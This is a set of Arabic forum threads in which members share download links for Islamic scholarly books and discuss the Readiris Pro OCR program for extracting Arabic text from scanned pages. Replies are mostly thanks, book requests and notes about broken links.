* أعلام أشخاص وأماكن شُكِّلت خطأ، أو أنها غير مشكلة، أمثلة منها:< o:p></o:p>
بُريْدَةَ بْنِ الْحَصِيبِ، خطأ، وصوابه: بُريْدَةَ بْنِ الْحُصَيْبِ< o:p></o:p>
الأسماء الآتية غير مشكلة كلها:< o:p></o:p>
الغَافِقيُّ بْنُ حَرْبٍ- عَبْدُ الرَّحْمَنِ بْن عُدَيْسٍ الْبَلَوِيُّ- كِنَانَةُ بْنُ بِشْرٍ- سودَانُ بْنُ حُمْرَانَ، عَبْدُ اللهِ بْنُ زَيْدِ بْنِ وَرْقَاءَ- عَمْرُو بْنُ الْحَمِقِ الْخُزَاعِيُّ- حُرْقُوصُ بْنُ زُهَيْرٍ- حُكَيْمُ بْنُ جَبَلَةَ- قُتَيْرَةُ السَّكُونِيُّ- ابْنُ الْكَوَّاءِ .. وغيرها .. < o:p></o:p>
ومن أعلام الأماكن: تُسْتَر- تِكْرِيت-رُودِس-بَنْزَرْت .. وغيرها< o:p></o:p>
<o:p></o:p>
* تم ضبط جميع الأبيات الشعرية الواردة في الكتاب ضبطًا صحيحًا إن شاء الله من دون أخطاء ..
والكتاب في المرفقات بصيغة الوورد، وهو منسق بخط القرآن الكريم، ومن ليس لديه الخط فليحمله من المرفقات ..
وغدًا إن شاء الله أرفعه بصيغة الشاملة .. وسأصور أيضًا مقدمة الشيخ محمد بن إسماعيل المقدم والشيخ السيد محمد نوح إن شاء الله للطبعة الثانية لدار الإيمان للطبع والنشر والتوزيع .. وهي الطبعة التي استعنت بها في إتمام السقط ..
ومن أراد الكتاب مصورًا فليحمله من الموضوع الآتي:
http://www.ahlalhdeeth.com/vb/showthread.php?t=144397
ومعذرة على عدم ترتيب الموضوع .. لأن وقت السحور لم يتبق له سوى ثلاث ساعات .. وأريد أن أغفو قليلًا ..
والسلام عليكم ورحمة الله وبركاته
ـ[حمود بن يحيى]ــــــــ[12 - 09 - 08, 11:23 م]ـ
السلام عليكم ورحمة الله وبركاته
إخواني في الله في المرفقات نسخة الشاملة .. موافقة للمطبوع ومقابلة ومشكلة تشكيلًا تامًّا والحمد لله ..
وهاكم مقدمة الشيخ محمد بن إسماعيل والشيخ السيد نوح للكتاب -طبعة أخرى- ..
http://www.archive.org/details/Heqbah
ـ[صادق صبور]ــــــــ[14 - 09 - 08, 12:45 ص]ـ
جزاك الله خيرا على رفع هذا الكتاب
فهو بحق كتاب قيم لاغنى لطالب العلم عنه
ـ[أبو سلمى المغربي]ــــــــ[27 - 03 - 09, 09:31 م]ـ
السلام عليكم ورحمة الله وبركاته .. <? xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /><o:p></o:p>
هذا كتاب حقبة من التاريخ للشيخ عثمان الخميس، وفقني الله في كتابته على الوورد، وتشكيله تشكيلًا تامًّا، وتصويب ما كان في المطبوع من أخطاء في التشكيل، وهذه الطبعة –للأسف- مليئة بالأخطاء في التشكيل، وقلما تجد صفحة لا تخلو من عدة أخطاء في التشكيل .. كما أن بها سقطًا في موضعين .. وهذه بعض الأخطاء التي صوبتها –لم أذكرها كلها، لأن أخطاء التشكيل بالمئات!! -:< o:p></o:p>
السلام عليكم ورحمة الله وبركاته
بارك الله فيك وأحسن الله إليك أخي الكريم لساني عاجز عن التعبير, فسبحان الذي ألهمك ووفقك لاعادة كتابة الكتاب بيدك فبارك الله في وقتك وعمركاللهم بارك في أخي على هذا الجهد المبارك وثقل به موازينه
اللهم بارك في أخي على هذا الجهد المبارك وثقل به موازينه
ـ[محمد سمير]ــــــــ[27 - 03 - 09, 09:57 م]ـ
جزاك الله خيراً
ـ[حمود بن يحيى]ــــــــ[28 - 03 - 09, 05:07 م]ـ
وعليكم السلام ورحمة الله وبركاته
فبارك الله في وقتك وعمركاللهم بارك في أخي على هذا الجهد المبارك وثقل به موازينه
اللهم بارك في أخي على هذا الجهد المبارك وثقل به موازينه
آمين .. وجزاكم الله بمثله ..
ولي طلب: لو أمكنك نسخ تفسير أضواء البيان للشنقيطي -النسخة المشكولة- من مكتبة الشبكة الإسلامية .. فسأكون لك من الداعين بالخير ..
وجزاكم الله خيرًا(61/155)
هل تريد استخلاص النصوص من الصور وتحويلها الى ملف نصى؟ اليكم الحل
ـ[د. أبو بكر خليل]ــــــــ[12 - 09 - 08, 12:53 ص]ـ
بسم الله الرحمن الرحيم
اطّلعت على هذا البرنامج، فأحببت عرضه هنا لعل فيه فائدة في استخراج النصوص من بعض الكتب المصورة:
برنامج:
Readiris Pro version 10 - Arabic | 33 MB |OS :Windows | متاح باللغة العربية
هذا الاصدار من هذا البرنامج يدعم اللغه العربية و الانجليزيه و الفرنسية و الايرلنديه فقط
هذا البرنامج يقوم باستخلاص النصوص من الصور أو الملتقطه بواسطة الماسحة الضوئيه
و يقوم بتحويلها الى ملف نصى بامتدادات مختلفة على حسب رغبتك .. البرنامج غنى
بالامكانيات و له قدرة عاليه على تمييز و استخلاص النصوص العربية ......
-----------------------------------------------------------------------------------
* الموضوع منقول
http://forums.ikhwan.net/t/showthread.php?t=24994
ـ[إسماعيل سعد]ــــــــ[12 - 09 - 08, 01:33 ص]ـ
جزيت خيرا، هل هو أفضل من القارئ الآلي الذهبي (صخر) 8
ـ[د. أبو بكر خليل]ــــــــ[12 - 09 - 08, 07:31 ص]ـ
لم أجرّبه - أخي العزيز - و أحببت عرضه ليقارنه الإخوة المشتغلون ببرنامج القارئ الآلي به، فلربما كانت فيه مزايا
ـ[أبو عبد الله السني]ــــــــ[12 - 09 - 08, 03:28 م]ـ
لم أجرّبه - أخي العزيز - و أحببت عرضه ليقارنه الإخوة المشتغلون ببرنامج القارئ الآلي به، فلربما كانت فيه مزايا
السلام عليكم
دكتورنا العزيز: أسعد الله مساءك
نحن نريد تجربته، لكن الرابيدشير لا أستطيع التحميل منه أبداً، ولم أستطع قبلاً، هلا رفعته تكرماً على موقع آخر، مثل الموقع المتميز بشهادة الطيماوي (عراق ماستر)
www.up.iraqmaster.net (http://www.up.iraqmaster.net)
ولكم الشكر الجزيل
ـ[سيدي محمد اندي]ــــــــ[12 - 09 - 08, 05:15 م]ـ
هل هو هذا البرنامج
Readiris Pro v11
وجدت شرحا له مع رابطه وانقله الان لكم
*
*
*
*
*
السلام عليكم ورحمة الله وبركاته
إليكم البرنامج الوحيد الذي يحول من PDF إلى WORD ويتعرف على الحروف العربيه بشكل ممتاز
البرنامج اسمه Readiris Pro v11
http://i161.photobucket.com/albums/t238/abumrim/Readiris%20Pro%20v11/r1.jpg
البرنامج لا يحول من PDF إلى WORD فقط بل يمكنه التحويل بين المستندات الموضحه في الصوره التاليه
http://i161.photobucket.com/albums/t238/abumrim/Readiris%20Pro%20v11/r2.png
أنا سبق لي وطرحت شرح لهذا البرنامج في موضوع سابق لكن حبيت أكتب هذا الموضوع على شان أنوه عن الميزه المهمه في هذا البرنامج والتي يحتاج لها الكثيروم من مستخدمي الكمبيوتر
لتحميل البرنامج من هنا ( http://www.filesend.net/download.php?f=d090f4daf658fdfd2d4d3d49862b9b3a)
عند الدخول للموقع سندون في أسفل يسار الصفحه عداد تنازلي كما في الصوره التاليه:
http://i161.photobucket.com/albums/t238/abumrim/Readiris%20Pro%20v11/r3.png
بعد نهاية العد النازلي سظهر وصل التحميل كما في اصوره التاليه:
http://i161.photobucket.com/albums/t238/abumrim/Readiris%20Pro%20v11/r4.png
شرح البرنامج:
http://i161.photobucket.com/albums/t238/abumrim/Readiris%20Pro%20v11/r5.png
http://i161.photobucket.com/albums/t238/abumrim/Readiris%20Pro%20v11/r6.png
ملاحظه:
بعد هذه العملية يصبح حجم البرنامج 142 ميجابايت وهو حجم البرنامج الحقيقي بعد فك الضغط عنه
http://i161.photobucket.com/albums/t238/abumrim/Readiris%20Pro%20v11/r7.png
http://i161.photobucket.com/albums/t238/abumrim/Readiris%20Pro%20v11/r8.png
http://i161.photobucket.com/albums/t238/abumrim/Readiris%20Pro%20v11/r9.png
والان ناتي لتنصيب البرنامج:
http://i161.photobucket.com/albums/t238/abumrim/Readiris%20Pro%20v11/r10.png
http://i161.photobucket.com/albums/t238/abumrim/Readiris%20Pro%20v11/r11.png
http://i161.photobucket.com/albums/t238/abumrim/Readiris%20Pro%20v11/r12.png
http://i161.photobucket.com/albums/t238/abumrim/Readiris%20Pro%20v11/r13.png
http://i161.photobucket.com/albums/t238/abumrim/Readiris%20Pro%20v11/r14.png
(يُتْبَع .. اقلب الصفحة)
(61/156)
http://i161.photobucket.com/albums/t238/abumrim/Readiris%20Pro%20v11/r15.png
والان ناتي لشرح البرنامج:
http://i161.photobucket.com/albums/t238/abumrim/Readiris%20Pro%20v11/r16.png
http://i161.photobucket.com/albums/t238/abumrim/Readiris%20Pro%20v11/r17.png
http://i161.photobucket.com/albums/t238/abumrim/Readiris%20Pro%20v11/r18.png
http://i161.photobucket.com/albums/t238/abumrim/Readiris%20Pro%20v11/r19.png
http://i161.photobucket.com/albums/t238/abumrim/Readiris%20Pro%20v11/r20.png
http://i161.photobucket.com/albums/t238/abumrim/Readiris%20Pro%20v11/r21.png
http://i161.photobucket.com/albums/t238/abumrim/Readiris%20Pro%20v11/r22.png
http://i161.photobucket.com/albums/t238/abumrim/Readiris%20Pro%20v11/r23.png
ملاحظه:
هذا الخطأ يظهر في حال عجز البرنامج في التعرف على الماسح الضوئي
http://i161.photobucket.com/albums/t238/abumrim/Readiris%20Pro%20v11/r24.png
ملاحظه أخرى:
بعد تحديد الماسح الذي نستخدمه تحديدا صحيحا فأنه لن تظهر النافذه السابقه في المرات التالية لاستخخدام البرنامج
http://i161.photobucket.com/albums/t238/abumrim/Readiris%20Pro%20v11/r25.png
http://i161.photobucket.com/albums/t238/abumrim/Readiris%20Pro%20v11/r26.png
http://i161.photobucket.com/albums/t238/abumrim/Readiris%20Pro%20v11/r27.png
http://i161.photobucket.com/albums/t238/abumrim/Readiris%20Pro%20v11/r28.png
http://i161.photobucket.com/albums/t238/abumrim/Readiris%20Pro%20v11/r29.png
http://i161.photobucket.com/albums/t238/abumrim/Readiris%20Pro%20v11/r30.png
http://i161.photobucket.com/albums/t238/abumrim/Readiris%20Pro%20v11/r31.png
http://i161.photobucket.com/albums/t238/abumrim/Readiris%20Pro%20v11/r32.png
http://i161.photobucket.com/albums/t238/abumrim/Readiris%20Pro%20v11/r33.png
http://i161.photobucket.com/albums/t238/abumrim/Readiris%20Pro%20v11/r34.png
http://i161.photobucket.com/albums/t238/abumrim/Readiris%20Pro%20v11/r35.png
وبهذا إنتى الشرح الذي أتمنى أنه كان واضح وأي سؤال أنا إن شاء الله حاضر للاجابه عليه
ودمتم في رعاية الله
ـ[يحيى صالح]ــــــــ[12 - 09 - 08, 07:12 م]ـ
هذا البرنامج لا يدعم اللغة العربية!!!
ـ[أبو رقية الذهبي]ــــــــ[12 - 09 - 08, 07:22 م]ـ
جزاكم الله خيرا
ـ[سيدي محمد اندي]ــــــــ[13 - 09 - 08, 12:18 ص]ـ
هذا البرنامج لا يدعم اللغة العربية!!!
السلام عليكم
جربت الان البرنامج الذي وضعت لكم ووجدته يدعم العربية بشكل جيد فنتائجه لا تقل عن نتائج القارئ الالي الذهبي 8 قبل التدريب اما القارئ بعد التدريب فلم اجربه وانما جربته قبل التدريب وحذفته
وهذا البرنامج لا ادري هل يدرب هو ايضا ام لا
ـ[أبو عبد الله السني]ــــــــ[13 - 09 - 08, 01:11 ص]ـ
تم التحميل الآن بعد أربع ساعات على النت
وسأجربه بعون الله تعالى
أرجو أن يكون أفضل من القارئ الآلي 8 لصخر فإن كان فاللهم لك الحمد
وإن لم يكن فاللهم لك الحمد، ونسألك أن تيسر لنا برنامجاً عربياً خالصاً لخدمة دينك يا رب.
ـ[يحيى صالح]ــــــــ[13 - 09 - 08, 06:36 م]ـ
السلام عليكم
جربت الان البرنامج الذي وضعت لكم ووجدته يدعم العربية بشكل جيد فنتائجه لا تقل عن نتائج القارئ الالي الذهبي 8 قبل التدريب اما القارئ بعد التدريب فلم اجربه وانما جربته قبل التدريب وحذفته
وهذا البرنامج لا ادري هل يدرب هو ايضا ام لا
أراك قد قمتَ بالتجربة على ملف أصله وورد!!!
نحن نتحدث عن ملف بي دي إف أصله اسكانر يا أخي الكريم.
جرَّب و أخبرني بالنتيجة.
ـ[د. أبو بكر خليل]ــــــــ[13 - 09 - 08, 09:04 م]ـ
السلام عليكم
دكتورنا العزيز: أسعد الله مساءك
نحن نريد تجربته، لكن الرابيدشير لا أستطيع التحميل منه أبداً، ولم أستطع قبلاً، هلا رفعته تكرماً على موقع آخر، مثل الموقع المتميز بشهادة الطيماوي (عراق ماستر)
www.up.iraqmaster.net (http://www.up.iraqmaster.net)
ولكم الشكر الجزيل
سلام الله عليكم و رحمة الله و بركاته
أخي العزيز
لم أوفق في رفعه على الرابط المذكور
و يمكنكم تحميله من هذا الرابط:
http://www.sh2soft.net/downloads_view_17680.html
و حجمه عندي 35.8 MB
و صاحب الموضوع الذي تقلت - أنا - عنه ذكر إمكانية التحويل من السكانر الضوئي، و كذلك في مشاركات أخرى
و معذرة؛ فخبرة أخيكم بالبرامج قليلة
ـ[سيدي محمد اندي]ــــــــ[13 - 09 - 08, 09:48 م]ـ
أراك قد قمتَ بالتجربة على ملف أصله وورد!!!
نحن نتحدث عن ملف بي دي إف أصله اسكانر يا أخي الكريم.
جرَّب و أخبرني بالنتيجة.
الملف الذي اصله وورد لايحتاج في رده الى وورد هذا البرنامج الكبير الحجم وانما يحدد النص ثم ينسخ ويلصق في المفكرة وينسخ منها ويلصق في وورد وانتهى الامر
وانا تجربتي كانت على صفحة واحدة من كتاب تنقيح التحقيق لابن عبد الهادي النسخة المصورة الموجودة في موقع الشاملة
وكما ذكرت من قبل جاتني نتائج جيدة مثل النتائج التي ينتجها القارئ الذهبي قبل ان يدرب
ولا ادري هل هذا البرنامج يدرب كما يدرب القارئ ام لا؟
(يُتْبَع .. اقلب الصفحة)
(61/157)
ـ[يحيى صالح]ــــــــ[14 - 09 - 08, 10:39 م]ـ
لا يتبقى بعد كلماتك الذهبية هذه إلا أن نقول:
رجاء التكرم برفع نتيجة التحويل بالمرفقات ليطمئن قلبي و أقوم بالتحميل و التسطيب و التحويل و. . (ابتسامة)(61/158)
رمضانيات المساهم (12): كتاب مباحث في البلاغة وإعجاز القرآن الكريم (لأول مرة) Pdf
ـ[المساهم]ــــــــ[12 - 09 - 08, 01:20 ص]ـ
الكتاب الثاني عشر
مباحث في البلاغة وإعجاز القرآن الكريم
تأليف
د. محمد رفعت أحمد زنجير
التحميل
archive (http://www.archive.org/details/blakh) أو adrive (http://www.adrive.com/public/58504271a4ba295f9d646c95c573893ef5ac39c98fde69f0f9 c591530003c2d7.html)
بطاقة الكتاب
العنوان: مباحث في البلاغة وإعجاز القرآن الكريم.
المؤلف: محمد رفعت أحمد زنجير.
دار النشر: جائزة دبي الدولية للقرآن الكريم.
سنة الطبع: الطبعة الأولى (1428هـ / 2007م).
نوع التغليف: مجلد (502 صفحة)
ـ[أبو ذر محمد]ــــــــ[12 - 09 - 08, 01:22 ص]ـ
جزاك الله خيرا.
ـ[خالد البعلبكي]ــــــــ[12 - 09 - 08, 01:59 ص]ـ
جزاك الله خيرا وبارك بك وتقبل الله منك
ـ[طه محمد عبدالرحمن]ــــــــ[12 - 09 - 08, 02:14 ص]ـ
بوركت أخى الفاضل ..
ـ[منير الجزائري]ــــــــ[12 - 09 - 08, 02:29 ص]ـ
بارك الله فيك.
ـ[إبراهيم أمين]ــــــــ[12 - 09 - 08, 10:41 ص]ـ
جزاك الله خيراً وبارك فيك، وتقبل الله منا ومنك، وزادك الله فضلاً.
ـ[خليل إبراهيم]ــــــــ[12 - 09 - 08, 03:10 م]ـ
ما شاء الله لا قوة إلا بالله لنعم الهدايا ما تقدمه لنا كل يوم في الشهر الفضيل أسأل الله أن يجعله لك نورا على الصراط يوم لا ينفع مال ولا بنون إلا من أتى الله بقلب سليم أخانا المساهم.
ـ[النصري]ــــــــ[12 - 09 - 08, 06:42 م]ـ
جزاك الله خيراً وبارك فيك، وتقبل الله منا ومنك، وزادك الله فضلاً.
ـ[احمدعاطف]ــــــــ[12 - 09 - 08, 07:06 م]ـ
جزاك الله خيراً وبارك فيك
ـ[الحامدي]ــــــــ[13 - 09 - 08, 02:52 ص]ـ
جزاك الله خيرا على جهودك النيرة في نشر العلم وخدمة لغة القرآن.
ـ[ابن كيسان النحوي]ــــــــ[13 - 09 - 08, 04:04 م]ـ
سلمت يمينك يا مساهم
ـ[احمد ياسر]ــــــــ[13 - 09 - 08, 07:31 م]ـ
جزاكم الله خيرا
ـ[طه محمد عبدالرحمن]ــــــــ[14 - 09 - 08, 02:39 ص]ـ
افتقدنا رمضانياتك أخى المساهم فى اليومين الماضيين لعل المانع خير؟(61/159)
ابحث عن الكتب التالية
ـ[عبد الرحمن أبو عبد الله]ــــــــ[12 - 09 - 08, 02:24 ص]ـ
ابحث عن الكتب التالية:
1 - مرآة الزمان لسبط ابن الجوزي
2 - تاريخ ابن وثيمة
3 - قصص الانبياء للكسائي
4 - الدر الفريد لابن ايدمر
5 - مختار الحكم
6 - شذور العقود في تاريخ العهود لابن الجوزي
ـ[عبد الرحمن أبو عبد الله]ــــــــ[12 - 09 - 08, 05:53 م]ـ
للرفع
وايضا كتاب عيون الاخبار لابن شاكر الكتبي
ـ[أم صفية وفريدة]ــــــــ[14 - 09 - 08, 02:45 م]ـ
وجدت الجزء الأول من كتاب عيون التواريخ لابن شاكر الكتبي هنا في الملتقى
تفضل هذا الرابط ( http://www.4shared.com/file/55955669/b818eeac/__-___.html)
ـ[عبد الرحمن أبو عبد الله]ــــــــ[14 - 09 - 08, 06:32 م]ـ
وجدت الجزء الأول من كتاب عيون التواريخ لابن شاكر الكتبي هنا في الملتقى
تفضل هذا الرابط ( http://www.4shared.com/file/55955669/b818eeac/__-___.html)
جزاك الله خيرا اريد باقي الاجزاء بارك الله فيك
ـ[عبد الرحمن أبو عبد الله]ــــــــ[29 - 09 - 08, 11:21 م]ـ
اين اصحاب الهمم العالية(61/160)
للتحميل "الرجوع و أثره في العقود في الفقه الإسلامي "
ـ[محمد عبد الرحمن]ــــــــ[12 - 09 - 08, 03:10 ص]ـ
السلام عليكم و رحمة الله و بركاته
الكتاب: الرجوع و أثره في العقود في الفقه الإسلامي
المؤلف: نايف محمد العجمي – المعيد بقسم الفقه و أصوله- جامعة الكويت.
سنة: 1422 - 2001
الكتاب في الأصل بحث مقدم للحصول على درجة الماجستير من قسم الشريعة الإسلامية في كلية العلوم بجامعة القاهرة و قد أشرف عليه الأستاذ الدكتور محمد بلتاجي حسن – رئيس قسم الشريعة الإسلامية بكلية دار العلوم و عميدها الأسبق.
كثرة وقوع الرجوع في معاملات الناس و تفرق مسائل الموضوع في بطون الكتب كانا أهم سببين لكتابة هذا الكتاب الفريد في نوعه.
و قد ركز المؤلف على الجانب التطبيقي للرجوع فتناول أولا التعريف بالرجوع و بالعقد. ثم فصل الرجوع في عقود البيع مع بسط في أسباب الرجوع: الخيار (المجلس, الشرط , الغبن , العيب, التدليس , الرؤية) الإفلاس , اختلاف المتبايعين.
ثم درس الرجوع في العقود المالية عدا البيع: الإجارة , المساقاة و المضاربة , الوكالة , الرهن , الكفالة , الحوالة , الهبة , العمرى , الوصية , الوقف , العارية , عقد النكاح.
صفحة الكتاب ( http://www.archive.org/details/Ruju3FiAlUqud)
رابط مباشر للتحميل. ( http://www.archive.org/download/Ruju3FiAlUqud/rju3_ukud.pdf)
ـ[إبراهيم حسين]ــــــــ[12 - 09 - 08, 04:16 ص]ـ
بارك الله فيك(61/161)
هدية رمضانية: " المعجزة الكبرى: القرآن " للشيخ محمد أبو زهرة
ـ[محمد عبد الرحمن]ــــــــ[12 - 09 - 08, 03:24 ص]ـ
السلام عليكم و رحمة الله و بركاته
بمناسبة رمضان شهر القرآن أقدم لكم كتاب " المعجزة الكبرى: القرآن " للشيخ محمد أبو زهرة رحمه الله.
الكتاب: المعجزة الكبرى القرآن: نزوله كتابته جمعه إعجازه جدله علومه تفسيره حكم الغناء به.
المؤلف: الشيخ محمد أبو زهرة رحمه الله
مطبعة: دار الفكر العربي
سنة: رمضان 1390 - أكتوبر1970.
الصفحات: حوالي 650.
رابط صفحة الكتاب ( http://www.archive.org/details/Almo3jiza_alkobraAlquran)
رابط مباشر للتحميل ( http://www.archive.org/download/Almo3jiza_alkobraAlquran/quran_zahra.pdf)
ـ[إبراهيم حسين]ــــــــ[12 - 09 - 08, 03:34 ص]ـ
جزاك الله خيرا ورحم الله الشيخ رحمة واسعة(61/162)
المعرب من الكلام الأعجمي على حروف المعجم
ـ[أحمد عبدالسلام العمادي]ــــــــ[12 - 09 - 08, 03:50 ص]ـ
الحمد لله فقد صورت كتاب المعرب من الكلام الأعجمي على حروف المعجم لأبي منصور الجواليقي وقد بحثت عنه مصوراً فلم أجده في الإنترنت وبالطبع لا يمكن الوثوق بأي نسخة بصيغة وورد إن وجدت ولم يكن الكتاب من ضمن الكتب المحتواة في الموسوعة الشاملة.
إليكم الكتاب بعد انتظار من المشتاقين له وأنا منهم ولا أطلب منكم سوى الدعاء، كما أود التنبيه إلى أن النسخة المخطوطة المرفوعة على مركز ودود أو في غيرها من المواقع نسخة ملئية بالتصحيفات والتحريفات وهي متأخرة، فلا تضيعوا أوقاتكم في تنزيلها.
وقد قمت بتقسيمه إلى ستة أجزاء تسهيلاً للتحميل.
ـ[أحمد عبدالسلام العمادي]ــــــــ[12 - 09 - 08, 03:59 ص]ـ
وهذا هو الجزء الثاني من الكتاب
ـ[المساهم]ــــــــ[12 - 09 - 08, 05:55 ص]ـ
بارك الله فيك يا أخي على هذه الدرة وغفر لك ورفع منزلتك في الدارين
ـ[محمود الشويحى]ــــــــ[12 - 09 - 08, 09:05 ص]ـ
لله درك يا أخى وبورك فيك وسلمت يمينك. جزاك الله عنا كل خير، طالما انتظرت هذا الكتاب. والشكر لأخى الكريم المساهم فقد دلنى عليه والدال على الخير كفاعله. فى انتظار بقية الكتاب.
ـ[أبو مهند المصري]ــــــــ[12 - 09 - 08, 12:41 م]ـ
أكمل الباقي ـ بارك الله فيك ـ.
ـ[أحمد عبدالسلام العمادي]ــــــــ[12 - 09 - 08, 02:08 م]ـ
بارك الله فيكم جميعاً
وهذا هو الجزء الثالث من الكتاب
ـ[أحمد عبدالسلام العمادي]ــــــــ[12 - 09 - 08, 02:17 م]ـ
وهذا هو الجزء الرابع من الكتاب
ـ[أحمد عبدالسلام العمادي]ــــــــ[12 - 09 - 08, 02:36 م]ـ
وهذا هو الجزء الخامس من الكتاب
ـ[أحمد عبدالسلام العمادي]ــــــــ[12 - 09 - 08, 02:51 م]ـ
وهذا هو الجزء السادس والأخير
ـ[خليل إبراهيم]ــــــــ[12 - 09 - 08, 03:06 م]ـ
جعله الله لك في ميزان حسناتك
ـ[محمود الشويحى]ــــــــ[12 - 09 - 08, 03:13 م]ـ
أحسنت أحسنت بارك الله فيك وأجزل مثوبتك. ولعل أخانا الفاضل المساهم يتبرع مشكورا بضم الأجزاء وفهرستها كما عودنا على إخراجه المتميز للكتب.
ـ[حمود بن يحيى]ــــــــ[13 - 09 - 08, 08:03 ص]ـ
جزاك الله خيرًا
ـ[أبو أكرم الحلبي]ــــــــ[13 - 09 - 08, 09:50 ص]ـ
جعله الله لك في ميزان حسناتك
آمين
جاري التحميل ...
ـ[المساهم]ــــــــ[14 - 09 - 08, 03:56 م]ـ
تفضلوا الكتاب بعد تنسيقه وفهرسته
( http://www.ahlalhdeeth.com/vb/showthread.php?t=148426)
ـ[محمود الشويحى]ــــــــ[14 - 09 - 08, 04:29 م]ـ
جزاكم الله خيرا أنت دائما عند حسن الظن بك يا أخى الكريم. جهدك مشكور مأجور إن شاء الله. ونكرر الشكر لأخينا الكريم أحمد عبد السلام.
ـ[عبد الرحمن أبو عبد الله]ــــــــ[14 - 09 - 08, 05:47 م]ـ
بارك الله فيك
ـ[إبراهيم حسين]ــــــــ[14 - 09 - 08, 06:07 م]ـ
بارك الله فيكم على هذا العمل النافع وجعله في ميزان حسناتكم يوم القيامة وتقبل الله منا ومنكم صالح الاعمال وغفر لنا ولكم(61/163)
كتيب " الوحدة الإسلامية " للشيخ أبو زهرة (وهو غير الكتاب)
ـ[محمد عبد الرحمن]ــــــــ[12 - 09 - 08, 03:58 ص]ـ
السلام عليكم و رحمة الله و بركاته
كتيب للشيخ أبو زهرة رحمه الله تعالى
الكتاب: الوحدة الإسلامية
سلسلة الثقافة الإسلامية
طبعة المكتب الفني للنشر
سنة سبتمبر1958
صفحاته 70
رابط صفحة الكتاب ( http://www.archive.org/details/alwihda_alislamia)
رابط مباشر للتحميل ( http://www.archive.org/download/alwihda_alislamia/wihda-zahra.pdf)
أما الكتاب " الوحدة الإسلامية " و الذي طبع لاحقا فهو على الرابط هذا ( http://s205400330.onlinehome.us/books/21/38/weis.rar)
ـ[إبراهيم حسين]ــــــــ[12 - 09 - 08, 04:22 ص]ـ
بارك الله فيك ياشيخ محمد ورحم الله شيخنا فقد كان يرحمه الله مهموما بكل ما يوحد امة الاسلام ويجنبها الفرقة والتمزق, وما احوجنا لهذه المؤلفات في زمن التمزق والضياع وتقسيم المقسم وتجزئة المجزا
ـ[إسماعيل سعد]ــــــــ[13 - 09 - 08, 01:56 ص]ـ
جزاكم الله خيرا
ـ[محمد عبد الرحمن]ــــــــ[13 - 09 - 08, 10:22 م]ـ
بارك الله فيك ياشيخ محمد ورحم الله شيخنا فقد كان يرحمه الله مهموما بكل ما يوحد امة الاسلام ويجنبها الفرقة والتمزق, وما احوجنا لهذه المؤلفات في زمن التمزق والضياع وتقسيم المقسم وتجزئة المجزا
و فيك بارك - يا شيخ إبراهيم -
مع العلم بأني لست شيخا إلا إذا قصدت الشيخوخة فإني أكاد أمتطيها.
نبهني أحد الإخوة أن الرابط الثالث لا يعمل. وهو رابط الكتاب المطبوع سنة 1976 و الذي يقع في 333 صفحة و من منشورات دار الفكر العربي.
رفعته على الرابط البديل ( http://www.4shared.com/file/62860557/86c14e1b/wihda_zahra.html?dirPwdVerified=b1d3016d)
ـ[عدي الخطاب]ــــــــ[29 - 05 - 09, 02:39 ص]ـ
تسلم اخي محمد على الكتاب
بارك الله فيك
ـ[أبو عبد الرحمان القسنطيني الجزائري]ــــــــ[26 - 11 - 09, 10:46 م]ـ
ما أحو جنا لترسيخ هده المعاني عمليا
ـ[أبو علاء الجزائري]ــــــــ[01 - 12 - 09, 11:43 م]ـ
بارك الله فيك(61/164)
عمود النسب الشريف ونسب الأنصار وأنساب العرب وأخبارها في أيام الجاهلية والإسلام Pdf
ـ[مصعب الجهني]ــــــــ[12 - 09 - 08, 04:14 ص]ـ
حمل كتاب:
عمود النسب الشريف ونسب الأنصار وأنساب العرب وأخبارها في أيام الجاهلية والإسلام Pdf
تأليف: العالم النسابة الحافظ: أحمد بن محمد البدوي المجلسي الشنقيطي (ت: 1208هـ)
طبعة: المكتب العربي للخدمات الثقافية, نواكشوط
حققه وأعدهُ ونشره: محمد بن محفوظ أحمد
وقدم له الأستاذ: محمد يحيى بن سيدي أحمد
الطبعة: الأولى
سنة: 1416هـ
من هنا: http://www.4shared.com/file/27620914...ified=2bf4d6f5 (http://www.4shared.com/file/27620914/6b46c52c/___online.html?dirPwdVerified=2bf4d6f5)<!-- / message -->
ـ[أبو سليمان العسيلي]ــــــــ[12 - 09 - 08, 04:56 ص]ـ
السلام عليكم و رحمة الله و بركاته
جزاك الله خير و نفع بك
ـ[بن سالم]ــــــــ[13 - 09 - 08, 01:15 ص]ـ
... جزاكَ اللهُ خيراً.
ـ[مصعب الجهني]ــــــــ[12 - 01 - 09, 11:13 ص]ـ
وفيكم إن شاء الله جميعا
ـ[ابن المهلهل]ــــــــ[12 - 01 - 09, 03:09 م]ـ
بارك الله فيك
ـ[صادق دانا]ــــــــ[12 - 01 - 09, 04:14 م]ـ
أخي الكريم
الرابط لا يعمل
ـ[فهمي الهاشمي]ــــــــ[12 - 01 - 09, 05:50 م]ـ
بارك الله فيك اخي المرجو اعادة رفعه للاهمية
الرابط لا يعمل
ـ[الدسوقي]ــــــــ[12 - 01 - 09, 06:10 م]ـ
مخطوطة " عمود النسب في أنساب العرب "
نظم: أحمد البدوي الشنقيطي رحمه الله.
نسخة المكتبة الأزهرية.
... وصلى الله على نبينا محمد وعلى آله وصحبه وسلم.
ـ[فهمي الهاشمي]ــــــــ[12 - 01 - 09, 08:31 م]ـ
بارك الله فيك
ـ[أحمد أبو يوسف]ــــــــ[31 - 01 - 09, 12:53 ص]ـ
رجاء لمن حمل الكتاب أن يعيد رفعه .. فانه قد تم حذفه.
ـ[مصعب الجهني]ــــــــ[02 - 02 - 09, 12:06 ص]ـ
رجاء لمن حمل الكتاب أن يعيد رفعه .. فانه قد تم حذفه.
أعد المحاولة؛ فالرابط يعمل بارك الله فيك.
ـ[أحمد أبو يوسف]ــــــــ[05 - 02 - 09, 12:52 ص]ـ
أخي مصعب.
حاولت مرارا و تتكرارا، فيظهر لي:
The file link that you requested is not valid.
فرجاءا ان تكرمتم و أرسلتم لي الكتاب أو اجعلوا الكتاب في المرفقات، فالكتاب جد عزيز و نادر.
tchikouahmed@yahoo.fr
ـ[مصعب الجهني]ــــــــ[05 - 02 - 09, 08:42 م]ـ
أخي الفاضل:
أضغط على المرابع الذي فيه سهم أبيض يشير إلى الأسفل؛ ثم ستخرج لك نافذة فيها أرقام تبدأ في العد التنازلي من 25 إلى صفر؛ فأنتظر حتى ينتهي العد التنازلي إلى صفر بعدها سيخرج لك رابط فيه كتابة إنجليزيه اضغط عليه وستحمل الكتاب بعدها.
